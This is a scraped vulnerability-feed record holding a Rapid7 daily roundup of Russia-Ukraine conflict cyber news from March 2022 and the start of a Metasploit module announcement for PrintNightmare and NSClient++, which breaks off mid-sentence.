{"rapid7blog": [{"lastseen": "2022-03-16T21:28:40", "description": "\n\nCyberattacks are a distinct concern in the [Russia-Ukraine conflict](<https://www.rapid7.com/blog/tag/russia-ukraine-conflict/>), with the potential to impact individuals and organizations far beyond the physical frontlines. With events unfolding rapidly, we want to provide a single channel by which we can communicate to the security community the major cyber-related developments from the conflict each day.\n\nEach business day, we will update this blog at 5 pm EST with what we believe are the need-to-know updates in cybersecurity and threat intelligence relating to the Russia-Ukraine conflict. We hope this blog will make it easier for you to stay current with these events during an uncertain and quickly changing time.\n\n* * *\n\n## March 16, 2022\n\nUkrainian President Volodymyr Zelenskyy [delivered a virtual speech](<https://www.nbcnews.com/politics/congress/zelenskyy-expected-press-us-military-support-address-congress-rcna20088>) to US lawmakers on Wednesday, asking again specifically for a no-fly zone over Ukraine and for additional support. \n\nThe White House released a new [fact sheet](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/16/fact-sheet-on-u-s-security-assistance-for-ukraine/>) detailing an additional $800 million in security assistance to Ukraine. \n\n**Threat Intelligence Update**\n\n * ******UAC-0056 targets Ukrainian entities******\n\nSentinelOne researchers reported that UAC-0056 targeted Ukrainian entities using a malicious Python-based package, masquerading as a Ukrainian language translation software. Once installed, the fake app deployed various malware, such as Cobalt Strike, GrimPlant, and GraphSteel.\n\n_Source: [Sentinel One](<https://www.sentinelone.com/blog/threat-actor-uac-0056-targeting-ukraine-with-fake-translation-software/>)_\n\n * ******A ****h****acker was caught routing calls to Russian troops******\n\nThe Security Service of Ukraine claimed to have arrested a hacker that helped deliver communications from within Russia to the Russian troops operating in the Ukrainian territory. The hacker also sent text messages to\n\nUkrainian security officers and civil servants, exhorting them to surrender.\n\n_Source: [The Verge](<https://www.theverge.com/2022/3/15/22979381/phone-relay-capture-russia-military-unencrypted-communications-ukraine>)_\n\n## March 15, 2022\n\nThe Ukrainian Ministry of Defense [leaked documents](<https://www.scmagazine.com/analysis/breach/in-a-first-ukraine-leaks-russian-intellectual-property-as-act-of-war>) of a Russian nuclear power plant. This may be the first-ever instance of a hack-and-leak operation to weaponize the disclosure of intellectual property to harm a nation.\n\nResearchers at INFOdocket, a subsidiary of [Library Journal](<https://en.wikipedia.org/wiki/Library_Journal>), have [created](<https://www.infodocket.com/2022/03/10/briefings-reports-and-updates-about-the-conflict-in-ukraine-from-the-congressional-research-service-european-parliament-research-service-and-uk-house-of-commons-library/>) a compendium of briefings, reports, and updates about the conflict in Ukraine from three research organizations: Congressional Research Service (CRS), European Parliament Research Service (EPRS), and the UK House of Commons Library. The resource will be updated as each of the three organizations releases relevant new content.\n\nThe Wall Street Journal [is reporting](<https://www.wsj.com/articles/russian-prosecutors-warn-western-companies-of-arrests-asset-seizures-11647206193>) that Russian prosecutors have issued warnings to Western companies in Russia, threatening to arrest corporate leaders there who criticize the government or to seize assets of companies that withdraw from the country. \n\nRussia may [default on $117 million (USD) in interest payments](<https://qz.com/2142075/sanctions-are-likely-to-force-russia-to-default-on-foreign-debt/>) on dollar-denominated bonds due to Western sanctions, the first foreign debt default by Russia since 1918.\n\nReuters is [reporting](<https://www.usnews.com/news/world/articles/2022-03-14/russian-delegation-suspends-participation-in-council-of-europe-body-ria>) that Russia's delegation to the Parliamentary Assembly of the Council of Europe (PACE) is suspending its participation and will not take part in meetings. \n\nCNN [reports](<https://www.cnn.com/europe/live-news/ukraine-russia-putin-news-03-15-22/h_3f0d63658ac5c2875ed265df00ba8b40>) that Russia has imposed sanctions against US President Joe Biden, his son, Secretary of State Antony Blinken, other US officials, and \u201cindividuals associated with them,\u201d the Russian Foreign Ministry said in a statement on Tuesday.\n\n**Threat Intelligence Update**\n\n * ******Russian ****s****tate-****s****ponsored ****c****yber ****a****ctors ****a****ccess ****n****etwork ****m****isconfigured with ****d****efault MFA ****p****rotocols******\n\nCISA and the Federal Bureau of Investigation (FBI) have released a joint Cybersecurity Advisory that details how Russian state-sponsored cyber actors accessed a network with misconfigured default multifactor authentication (MFA) protocols. The actors then exploited a critical Windows Print Spooler vulnerability, [\u201cPrintNightmare\u201d (CVE-2021-34527)](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>), to run arbitrary code with system privileges.\n\n_Source: [CISA](<https://www.cisa.gov/uscert/ncas/current-activity/2022/03/15/russian-state-sponsored-cyber-actors-access-network-misconfigured>)_\n\n * ******Fake antivirus updates used to deploy Cobalt Strike in Ukraine******\n\nUkraine's Computer Emergency Response Team is warning that threat actors are distributing fake Windows antivirus updates that install Cobalt Strike and other malware. The phishing emails impersonate Ukrainian government agencies offering ways to increase network security and advise recipients to download \"critical security updates,\" which come in the form of a 60 MB file named \"BitdefenderWindowsUpdatePackage.exe.\"\n\n_Source: [BleepingComputer/CERT-UA](<https://www.bleepingcomputer.com/news/security/fake-antivirus-updates-used-to-deploy-cobalt-strike-in-ukraine/amp/>)_\n\n * ******A ****n****ovel ****w****iper ****t****argets Ukrainian ****e****ntities******\n\nCybersecurity researchers observed the new CaddyWiper malware targeting Ukrainian organizations. Once deployed, CaddyWiper destroys and overwrites the data from any drives that are attached to the compromised system. Despite being released in close proximity to other wiping malware targeting Ukraine, such as HermeticWiper and IsaacWiper, CaddyWiper does not share any significant code similarities with them and appears to be created separately.\n\n_Source:[ Bleeping Computer](<https://www.bleepingcomputer.com/news/security/new-caddywiper-data-wiping-malware-hits-ukrainian-networks/amp/>)_\n\n * ******German Federal Office for Information Security ****a****gency ****i****ssues an ****a****lert for Russian ****a****ntivirus ****s****oftware Kaspersky******\n\nThe German Federal Office for Information Security agency (BSI) issued an alert urging its citizens to replace Kaspersky antivirus software with another defense solution, due to alleged ties to the Kremlin. The agency suggested Kaspersky could be used as a tool in the cyber conflict between Russia and Ukraine.\n\n_Source:[ BSI](<https://www.bsi.bund.de/DE/Service-Navi/Presse/Pressemitteilungen/Presse2022/220315_Kaspersky-Warnung.html>)_\n\n## March 14, 2022\n\nThe EU-based NEXTA media group has [reported](<https://twitter.com/nexta_tv/status/1503393046351781892?s=20&t=1tA7lZrLVe-cZpHb9wy2LA>) that Russia is starting to block VPN services.\n\nBermuda\u2019s aviation regulator [said](<https://financialpost.com/pmn/business-pmn/bermuda-revokes-licenses-for-russian-operated-planes-over-safety-concerns>) it is suspending certification of all Russian-operated airplanes registered in the British overseas territory due to international sanctions over the war in Ukraine, in a move expected to affect more than 700 planes.\n\nThe Washington Post [reported](<https://www.washingtonpost.com/world/2022/03/12/russia-putin-google-apple-navalny/>) that Federal Security Service (FSB), Russian Federalnaya Sluzhba Bezopasnosti, agents approached Google and Apple executives with requests to remove apps created by activist groups.\n\nAmnesty International [said](<https://www.amnesty.org/en/latest/news/2022/03/russia-authorities-block-amnesty-internationals-russian-language-website/>) Russian authorities have blocked their Russian-language website. \n\n**Threat Intelligence Update**\n\n * ******Anonymous claims to hack Rosneft, German subsidiary of Russian energy******\n\nAnonymous claimed to hack the German branch of the Russian energy giant Rosneft, allegedly stealing 20 TB of data. The company systems were significantly affected by the attack, although there currently seems to be no effect on the company's energy supply.\n\n_Source:[ Security Affairs](<https://securityaffairs.co/wordpress/129052/hacktivism/anonymous-hacked-german-subsidiary-rosneft.html>)_\n\n * ******Russia blocks access to Instagram nationwide******\n\nRussia's Internet moderator Roskomnadzor decided to block Instagram access in the country, following Meta's decision to allow \"calls for violence against Russian citizens.\" The federal agency gave Instagram users 48 hours to prepare and finally completed the act on March 13. The blocking of Instagram follows the former ban of Facebook and Twitter in Russia last week.\n\n_Source:[ Cyber News](<https://cybernews.com/cyber-war/instagram-is-no-longer-accessible-in-russia/?utm_source=youtube&utm_medium=cn&utm_campaign=news_CNN_047_instagram_blocked_in_russia&utm_term=2v1_yubOBMc&utm_content=direct_article>)_\n\n## March 11, 2022\n\nPresident Biden, along with the European Union and the Group of Seven Countries, [moved](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/11/fact-sheet-united-states-european-union-and-g7-to-announce-further-economic-costs-on-russia/>) to revoke \u201cmost favored nation\u201d trade status for Russia, deny borrowing privileges at multilateral financial institutions, apply sanctions to additional Russian elites, ban export of luxury goods to Russia, and ban US import of goods from several signature sectors of Russia\u2019s economy.\n\n**Threat Intelligence Update**\n\n * **Amid difficulties with renewing certificates, Russia has created its own trusted TLS certificate authority**\n\nSigning authorities based in countries that have imposed sanctions on Russia can no longer accept payments for their services, leaving many sites with no practical means to renew expiring certificates. As a result, the Russian Ministry of Digital Development announced the availability of domestic certificates, replacing expired or revoked foreign certificates.\n\n_Source: [Bleeping Computer](<https://www.bleepingcomputer.com/news/security/russia-creates-its-own-tls-certificate-authority-to-bypass-sanctions/>)_\n\n * ******Triolan, ****a**** major Ukrainian internet service provider****,**** was hacked \u2014 twice******\n\nTriolan, a Ukraine-based ISP with more than half a million subscribers, was reportedly hacked initially on February 24th, with a second attack hitting on March 9th. The company reported that the threat actors managed to hack into key components of the network, some of which couldn\u2019t be recovered.\n\n_Source: [Forbes](<https://www.forbes.com/sites/thomasbrewster/2022/03/10/cyberattack-on-major-ukraine-internet-provider-causes-major-outages/?sh=768d17596573>)_\n\n## March 10, 2022\n\nBy [order of President Putin](<https://twitter.com/KevinRothrock/status/1501935395092631556?s=20&t=TvFRrQvNfQ6OL3qvFJePQg>), Russia\u2019s Economic Development Ministry has drafted a bill that would effectively nationalize assets and businesses \"abandoned\" in Russia by foreign corporations. Management of these seized assets will be entrusted to the VEB.RF state development corporation and to Russia\u2019s Deposit Insurance Agency.\n\nRussia has [effectively legalized patent theft](<http://publication.pravo.gov.ru/Document/View/0001202203070005?index=0&rangeSize=1>) from anyone affiliated with countries \u201cunfriendly\u201d to it, declaring that unauthorized use will not be compensated. The Russian news agency Tass has [further reporting](<https://tass.ru/ekonomika/13982403>) on this, as does the [Washington Post](<https://www.washingtonpost.com/business/2022/03/09/russia-allows-patent-theft/>).\n\nGoldman Sachs Group Inc [announced it was closing its operations in Russia](<https://www.reuters.com/business/finance/goldman-sachs-exit-russia-bloomberg-news-2022-03-10/>), becoming the first major Wall Street bank to exit the country following Moscow's invasion of Ukraine.\n\nUK Foreign Secretary Liz Truss [announced](<https://www.gov.uk/government/news/abramovich-and-deripaska-among-seven-oligarchs-targeted-in-estimated-15bn-sanction-hit>) a full asset freeze and travel ban on seven of Russia\u2019s wealthiest and most influential oligarchs, whose business empires, wealth, and connections are closely associated with the Kremlin.\n\nUS Vice President Kamala Harris [announced](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/10/vice-president-kamala-harris-announces-additional-u-s-funding-to-respond-to-humanitarian-needs-in-ukraine-and-eastern-europe/>) nearly $53 million in new humanitarian assistance from the United States government, through the US Agency for International Development (USAID), to support innocent civilians affected by Russia\u2019s invasion of Ukraine.\n\nThe International Atomic Energy Agency (IAEA) [provided an update](<https://www.iaea.org/newscenter/pressreleases/update-17-iaea-director-general-statement-on-situation-in-ukraine>) on the situation at the Chernobyl Nuclear Power Plant. The IAEA Director General said that the Agency is aware of reports that power has now been restored to the site and is looking for confirmation. At the same time, Ukraine informed them that today it had lost all communications with the facility. The IAEA has assured the international community that there has been \u201cno impact on essential safety systems.\u201d\n\n**Threat Intelligence Update**\n\n * **New malware variant targeting Russia named RURansom**\n\nRURansom is a malware variant that was recently discovered and appears to be targeting Russia. While it was initially suspected of being a ransomware, further analysis suggests it is actually a wiper. So far, no active non-Russian targets have been identified, likely due to the malware targeting specific entities.\n\n_Source: [TrendMicro](<https://www.trendmicro.com/en_us/research/22/c/new-ruransom-wiper-targets-russia.html>)_\n\n_Available in Threat Library as: RURansom_\n\n * ******Kaspersky source code leak seems to be just a collection of publicly available HTML files******\n\nThe hacking group NB65 claimed on social networks to have leaked source code from the Russian antivirus firm Kaspersky. However, it appears that the leaked files are nothing more than a long list of HTML files and other related, publicly available web resources.\n\n_Source: [Cybernews](<https://cybernews.com/cyber-war/long-awaited-kaspersky-leak-doesnt-seem-to-be-a-leak-at-all/>)_\n\n * ******Anonymous claims to hack Roskomnadzor, a Russian federal agency******\n\nHacktivist group Anonymous claims to have breached Roskomnadzor, a Russian federal agency responsible for monitoring, controlling, and censoring Russian mass media, leaking over 360,000 (817.5 GB) files. Based on the report, the leak contains relatively recent censored documents, dated as late as March 5, and demonstrates Russia\u2019s attempts to censor media related to the conflict in Ukraine.\n\n_Source: @AnonOpsSE via [Twitter](<https://twitter.com/AnonOpsSE/status/1501944150794506256>) _\n\n## March 9, 2022\n\n**Public policy:** Citing concerns over rising cybersecurity risks related to the Russia-Ukraine conflict, the US is poised to enact new cyber incident reporting requirements. The_ _[Cyber Incident Reporting for Critical Infrastructure Act of 2022](<https://www.congress.gov/bill/117th-congress/senate-bill/3600/text?q=%7B%22search%22%3A%5B%22s+3600%22%2C%22s%22%2C%223600%22%5D%7D&r=3&s=2>):\n\n * Will require critical-infrastructure owners and operators to report cybersecurity incidents to CISA within 72 hours of determining the incident is significant enough that reporting is required;\n * Will require critical infrastructure owners and operators to report ransomware payments to CISA within 24 hours; and\n * Is intended to give federal agencies more insight into attack trends and potentially provide early warnings of major vulnerabilities or attacks in progress before they spread.\n\nThe Bank of Russia [established](<https://www.cbr.ru/eng/press/event/?id=12744>) temporary procedures for foreign cash transactions, suspending sales of foreign currencies until September 9, 2022. Foreign currency accounts are limited to withdrawals up to $10,000 USD.\n\nThe Financial Crimes Enforcement Network (FinCEN) is [alerting all financial institutions](<https://www.fincen.gov/index.php/news/news-releases/fincen-advises-increased-vigilance-potential-russian-sanctions-evasion-attempts>) to be vigilant against efforts to evade the expansive sanctions and other US-imposed restrictions implemented in connection with the Russian Federation\u2019s further invasion of Ukraine.\n\nThe Pentagon [dismissed](<https://www.cnn.com/2022/03/08/politics/poland-jets-ukraine-russia/index.html>) Poland\u2019s offer to transfer MIG-29 fighter jets to the United States for delivery to Ukraine, stating they did not believe the proposal was \u201ctenable.\u201d\n\n**Threat Intelligence Update**\n\n * ******Multiple hacking groups target Ukrainians and other European ****a****llies via ****p****hishing ****a****ttacks******\n\nSeveral threat actors, including Fancy Bear, Ghostwriter, and Mustang Panda, have launched a large phishing campaign against Ukraine, Poland, and other European entities amid Russia's invasion of Ukraine. \n\n_Source: [The Hacker News](<https://thehackernews.com/2022/03/google-russian-hackers-target.html>)_\n\n_Available in Threat Library as: APT28 (Fancy Bear), Ghostwriter, Mustang Panda_\n\n * ******The Conti Ransomware group resumes activity following leaks******\n\nThe Conti Ransomware group appears to have made a comeback following the [leak of its internal chats last week](<https://www.rapid7.com/blog/post/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/>). On March 9, Rapid7 Threat Intelligence observed renewed activity on Conti\u2019s onion site, and CISA released new IOCs related to the group on their Conti alert page.\n\n_Source: [CISA](<https://www.cisa.gov/uscert/ncas/alerts/aa21-265a>)_\n\n_Available in Threat Library as: Conti_\n\n * ******The Belarusian group UNC1151 targets Ukrainian organizations using MicroBackdoor malware******\n\nThe Ukrainian government has reported on a continuous cyberattack on state organizations of Ukraine using malicious software Formbook.\n\n_Source: [Ukrainian CERT](<https://cert.gov.ua/article/37626>)_\n\n_Available in Threat Library as: UNC1151_\n\n## March 8, 2022\n\nThe US [announced](<https://www.whitehouse.gov/briefing-room/presidential-actions/2022/03/08/executive-order-on-use-of-project-labor-agreements-for-federal-construction-projects-2/>) a ban on imports of Russian oil, gas, and other energy products. New US investments in the Russian energy sector are also restricted. The UK [announced](<https://www.gov.uk/government/news/uk-to-phase-out-russian-oil-imports>) it would phase out Russian oil over 2022. \n\nThe International Atomic Energy Agency [published a statement](<https://www.iaea.org/newscenter/pressreleases/update-15-iaea-director-general-statement-on-situation-in-ukraine>) noting that remote data transmission from monitoring systems at Ukraine\u2019s mothballed Chernobyl nuclear power plant has been lost. No network data has been observed by internet monitoring companies since March 5, 2022.\n\nChris Chivvis, a senior fellow and director of the American Statecraft Program at the Carnegie Endowment for International Peace, has provided [an assessment](<https://carnegieendowment.org/2022/03/03/how-does-this-end-pub-86570>) of two likely trajectories in the Russia-Ukraine conflict. \n\nTwitter [announced](<https://twitter.com/AlecMuffett/status/1501282223009542151?s=20&t=tO-TNZw5ct6tZUcwyvMl4A>) they have made their social network available on the Tor Project onion service, which will enable greater privacy, integrity, trust, and availability to global users.\n\nThe Minister of Foreign Affairs of the Republic of Poland [announced](<https://www.gov.pl/web/diplomacy/statement-of-the-minister-of-foreign-affairs-of-the-republic-of-poland-in-connection-with-the-statement-by-the-us-secretary-of-state-on-providing-airplanes-to-ukraine>) they are ready to deploy \u2014 immediately and free of charge \u2014 all their MIG-29 jets to the Ramstein Air Force base and place them at the disposal of the US government.\n\nLumen [announced](<https://news.lumen.com/RussiaUkraine>) they are immediately ceasing their limited operations in Russia and will no longer provide services to local Lumen enterprise customers.\n\nMcDonald\u2019s [announced](<https://www.cnbc.com/2022/03/08/mcdonalds-will-temporarily-close-850-restaurants-in-russia-nearly-2-weeks-after-putin-invaded-ukraine.html>) they have temporarily closed 850 restaurants in Russia in response to Russia\u2019s attack on Ukraine.\n\nStarbucks [has announced](<https://www.cnbc.com/2022/03/08/starbucks-suspends-all-business-in-russia-as-putins-forces-attack-ukraine.html>) they will be suspending all business in Russia in response to Russia\u2019s attack on Ukraine.\n\n**Threat Intelligence Update**\n\n * ******52 US organizations were impacted by RagnarLocker ransomware****,**** including critical infrastructures******\n\nThe FBI reported that as of January 2021, 52 US-based organizations, some related to critical infrastructure, were affected by RagnarLocker ransomware. The industries affected include manufacturing, energy, financial services, government, and information technology. The malware code excludes execution on post-Soviet Union countries, including Russia, based on a geolocation indicator embedded in its code.\n\n_Source: [FBI FLASH](<https://www.ic3.gov/Media/News/2022/220307.pdf>) _\n\n_Available in Threat Library as: Ragnar Locker_\n\n * ******US energy companies were attacked prior to the Russian invasion to Ukraine******\n\nDuring a two-week blitz in mid-February, hackers received access to dozens of computers belonging to multiple US-based energy companies, including [Chevron Corp.](<https://www.bloomberg.com/quote/CVX:US>), [Cheniere Energy Inc.](<https://www.bloomberg.com/quote/LNG:US>), and [Kinder Morgan Inc](<https://www.bloomberg.com/quote/KMI:US>). The companies were attacked in parallel to the Russian invasion of Ukraine.\n\n_Source: [Bloomberg](<https://www.bloomberg.com/news/articles/2022-03-07/hackers-targeted-u-s-lng-producers-in-run-up-to-war-in-ukraine>)_\n\n * **European officials were hacked by Chinese threat actors amid the conflict in Ukraine**\n\nAccording to Google and Proofpoint, a cyberattack was launched by the Chinese hacking group Mustang Panda and its affiliated group RedDelta, which usually targets Southeast Asian countries. The groups managed to gain access to an unidentified European NATO-member email account and spread malware to other diplomatic offices.\n\n_Source: [Forbes](<https://www.forbes.com/sites/thomasbrewster/2022/03/08/chinese-hackers-ramp-up-europe-attacks-in-time-with-russia-ukraine-war/?sh=6077d22f5ee1>)_\n\n_Available in Threat Library as: Mustang Panda_ \n\n\n * ******#OpAmerica: DEVLIX_EU, a pro-Russian hacktivist group, and its affiliates claim to have gained access to terabytes of US sensitive data ******\n\nThe group claims they have obtained access to 92TB of data related to the US Army. According to the group, they also hacked into four of the biggest \u201chosts\u201d in the US and 49 TB of data. As of now, there is no real evidence for the attack provided by the group.\n\n_Source: @Ex_anon_W_hater via [Twitter](<https://twitter.com/Ex_anon_W_hater/status/1500858398664888325>)_\n\n## March 7, 2022\n\nNetflix, KPMG, PwC, and EY have [cut ties with local units in Russia,](<https://www.reuters.com/business/netflix-kpmg-pwc-amex-sever-ties-with-russia-2022-03-06/>) and Danone suspended investments in Russia.\n\nThe Russian government has [published a list of foreign states](<https://www.jpost.com/international/article-700559>) that have committed \u201cunfriendly actions\u201d against \u201cRussia, Russian companies, and citizens.\u201d Countries listed include Australia, Albania, Andorra, the United Kingdom, the member states of the European Union, Iceland, Canada, Liechtenstein, Micronesia, Monaco, New Zealand, Norway, Republic of Korea, San Marino, North Macedonia, Singapore, USA, Taiwan, Ukraine, Montenegro, Switzerland, and Japan.\n\nThe Russian government\u2019s Ministry of Digital [issued orders](<https://www.kommersant.ru/doc/5249500>) for all government websites to use only domestic hosting providers and DNS. They further instructed agencies to discontinue using non-Russian third-party tooling, such as Google Analytics.\n\nTikTok is [suspending content from Russia](<https://www.buzzfeednews.com/article/krystieyandoli/tiktok-russia-suspending-media>) in response to the country cracking down on reporting about the invasion of Ukraine.\n\n**Threat Intelligence Update**\n\n * **Anonymous-affiliated threat actor claims to have hacked and shut down water infrastructure in Russia**\n\nThe AnonGhost group claims to have hacked and shut down two Russian SCADA water supply systems impacting the Russian cities: Volkhov, Boksitogorsk, Luga, Slantsevsky, Tikhvinsky, and Vyborg.\n\n_Source: @darkowlcyber via [Twitter](<https://twitter.com/darkowlcyber/status/1500552186735910915?s=20&t=zXmKgw6Om_VQMHa6XmN6RQ>)_\n\n_Available in Threat Library as: AnonGhost (for Threat Command customers who want to learn more)_ \n\n\n * **Anonymous claims to hack Russian TV services to broadcast footage of the war with Ukraine**\n\nRussian live TV channels Russia 24, Channel One, and Moscow 24, as well as Wink and Ivi, Netflix like services, have been hacked to broadcast footage of the war with Ukraine according to Anonymous.\n\n_Source: @YourAnonNews via [Twitter](<https://twitter.com/YourAnonNews/status/1500613013510008836?s=20&t=qgOO0Uu5T2UrkqdbjEJeAg>)_\n\n## March 4, 2022\n\nThe NATO Cooperative Cyber Defence Center of Excellence (CCDCOE) announced that [Ukraine will join the group](<https://news.yahoo.com/ukraine-join-nato-cyber-defence-171835083.html>) as a \u201ccontributing participant,\u201d indicating that \u201cUkraine could bring valuable first-hand knowledge of several adversaries within the cyber domain to be used for research, exercises, and training.\u201d\n\nUkraine\u2019s deputy chief of their information protection service [noted in a Friday briefing](<https://www.bloomberg.com/news/articles/2022-03-04/ukraine-s-hacker-army-said-to-be-helped-by-400-000-supporters>) that over 400,000 individuals have volunteered to help a crowdsourced Ukrainian government effort to disrupt Russian government and military targets.\n\n**Threat Intelligence Update**\n\n * ******Russia blocked access to social media platforms and Western news sites******\n\nRussia has prevented its residents access to information channels, including Facebook, Twitter, Western news sites such as the BBC, and app stores. With that, the BBC is now providing access to its website via the Dark Web and has reinstated their BBC shortwave broadcast service.\n\n_Source: [Reuters](<https://www.reuters.com/business/russias-offer-foreign-firms-stay-leave-or-hand-over-keys-2022-03-04/>)_\n\n * **Anonymous-affiliated threat actor hacked and leaked data from the Russian Federal State Budgetary Institution of Science**\n\nThe Russian Federal Guard Service of the Russian Federation was hacked by Anonymous. The hacker published leaked names, usernames, emails, and hashed passwords of people from the institution.\n\n_Source: @PucksReturn via [Twitter](<https://twitter.com/PucksReturn/status/1499757796526542855?s=20&t=LQqanSu2v7L5ONAkpZT1PA>)_\n\n * **Anonymous takes down multiple Russian government websites**\n\nAnonymous claims responsibility for the takedown of a large number of Russian Government websites including one of the main government websites, gov.ru. Most of the websites are still down as of Friday afternoon, March 4.\n\n_Source: @Anonynewsitaly via [Twitter](<https://twitter.com/Anonynewsitaly/status/1499488100405362694?s=20&t=92-u27VSsZLoTAz1KtuOKA>)_\n\n## March 3, 2022\n\n**Additional sanctions:** The US Treasury Dept. [announced another round of sanctions](<https://home.treasury.gov/news/press-releases/jy0628>) on Russian elites, as well as many organizations it characterized as outlets of disinformation and propaganda.\n\n**Public policy:** The Russia-Ukraine conflict is adding momentum to cybersecurity regulatory actions. Most recently, that includes\n\n * **[Incident reporting law](<https://www.hsgac.senate.gov/media/majority-media/senate-passes-peters-and-portman-landmark-legislative-package-to-strengthen-public-and-private-sector-cybersecurity->): **Citing the need to defend against potential retaliatory attacks from Russia, the US Senate passed a bill to require critical infrastructure owners and operators to report significant cybersecurity incidents to CISA, as well as ransomware payments. The US House is now considering fast-tracking this bill, which means it may become law quite soon.\n * **[FCC inquiry on BGP security](<https://www.fcc.gov/document/fcc-launches-inquiry-internet-routing-vulnerabilities>): **\u201c[E]specially in light of Russia\u2019s escalating actions inside of Ukraine,\u201d FCC seeks comment on vulnerabilities threatening the Border Gateway Protocol (BGP) that is central to the Internet\u2019s global routing system.\n\n**CISA threat advisory:** CISA [recently reiterated](<https://twitter.com/CISAJen/status/1499117064006639617?s=20&t=9UfrQnQTUg43QsbKoQOhJA>) that it has no specific, credible threat against the U.S. at this time. It continues to point to its [Shields Up](<https://www.cisa.gov/shields-up>) advisory for resources and updates related to the Russia-Ukraine conflict.\n\n**Threat Intelligence Update**\n\n * ******An Anonymous-affiliated hacking group claims to have hacked a branch Russian Military and Rosatom, the Russian State Atomic Energy Corporation****.**\n\nThe hacktivist group Anonymous and its affiliate have hacked and leaked access to the phone directory of the military prosecutor's office of the southern military district of Russia, as well as documents from the Rosatom State Atomic Energy Corporation.\n\n_Available in Threat Library as: OpRussia 2022 (for Threat Command customers who want to learn more)_\n\n * ******A threat actor supporting Russia claims to have hacked and leaked sensitive information related to the Ukrainian military****.**\n\nThe threat actor \u201cLenovo\u201d claims to have hacked a branch of the Ukrainian military and leaked confidential information related to its soldiers. The information was published on an underground Russian hacking forum.\n\n_Source: XSS forum (discovered by our threat hunters on the dark web)_ \n\n\n * ******An Anonymous hacktivist associated group took down the popular Russian news website lenta.ru******\n\nAs part of the OpRussia cyber-attack campaign, an Anonymous hacktivist group known as \u201cEl_patron_real\u201d took down one of the most popular Russian news websites, **lenta.ru**. As of Thursday afternoon, March 3, the website is still down.\n\n_Available in Threat Library as: El_patron_real (for Threat Command customers who want to learn more)_\n\n_**Additional reading:**_\n\n * [_Conti Ransomware Group Internal Chats Leaked Over Russia-Ukraine Conflict_](<https://www.rapid7.com/blog/post/2022/03/01/conti-ransomware-group-internal-chats-leaked-over-russia-ukraine-conflict/>)\n * [_Russia/Ukraine Conflict: What Is Rapid7 Doing to Protect My Organization?_](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-conflict-what-is-rapid7-doing-to-protect-my-organization/>)\n * [_Staying Secure in a Global Cyber Conflict_](<https://www.rapid7.com/blog/post/2022/02/25/russia-ukraine-staying-secure-in-a-global-cyber-conflict/>)\n * [_Prudent Cybersecurity Preparation for the Potential Russia-Ukraine Conflict_](<https://www.rapid7.com/blog/post/2022/02/15/prudent-cybersecurity-preparation-for-the-potential-russia-ukraine-conflict/>)\n\n#### NEVER MISS A BLOG\n\nGet the latest stories, expertise, and news about security today.\n\nSubscribe", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-03-04T14:30:00", "type": "rapid7blog", "title": "Russia-Ukraine Cybersecurity Updates", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2022-03-04T14:30:00", "id": "RAPID7BLOG:57AB78EC625B6F8060F1E6BD668BDD0C", "href": "https://blog.rapid7.com/2022/03/04/russia-ukraine-cybersecurity-updates/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-07-09T18:55:38", "description": "## PrintNightmare\n\n\n\nRapid7 security researchers [Christophe De La Fuente](<https://github.com/cdelafuente-r7>), and [Spencer McIntyre](<https://github.com/zeroSteiner>), have added a new module for [CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>), dubbed PrintNightmare. This module builds upon the research of Xuefeng Li, Zhang Yunhai, Zhiniang Peng, Zhipeng Huo, and cube0x0. The module triggers a remote DLL load by abusing a vulnerability in the Print Spooler service. The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request using the MS-RPRN vector, resulting in remote code execution as `NT AUTHORITY\\SYSTEM`.\n\nBecause Metasploit's SMB server doesn't support SMB3 (yet), it's highly recommended to use an external SMB server like Samba that supports SMB3. The [Metasploit module documentation](<https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/auxiliary/admin/dcerpc/cve_2021_1675_printnightmare.md>) details the process of generating a payload DLL and using this module to load it.\n\n[CVE-2021-34527](<https://attackerkb.com/topics/MIHLz4sY3s/cve-2021-34527-printnightmare?referrer=blog>) is being actively exploited in the wild. For more information and a full timeline, see [Rapid7\u2019s blog on PrintNightmare](<https://www.rapid7.com/blog/post/2021/06/30/cve-2021-1675-printnightmare-patch-does-not-remediate-vulnerability/>)!\n\n## NSClient++\n\nGreat work by community contributor [Yann Castel](<https://github.com/Hakyac>) on their new NSClient++ module. This module allows an attacker with an unprivileged windows account to gain admin access on a windows system and start a shell.\n\nFor this module to work, both the web interface of NSClient++ and the `ExternalScripts` feature should be enabled. You must also know where the NSClient config file is as it is used to read the admin password which is stored in clear text.\n\n## New module content (2)\n\n * [Print Spooler Remote DLL Injection](<https://github.com/rapid7/metasploit-framework/pull/15385>) by Christophe De La Fuente, Piotr Madej, Spencer McIntyre, Xuefeng Li, Zhang Yunhai, Zhiniang Peng, Zhipeng Huo, and cube0x0, which exploits 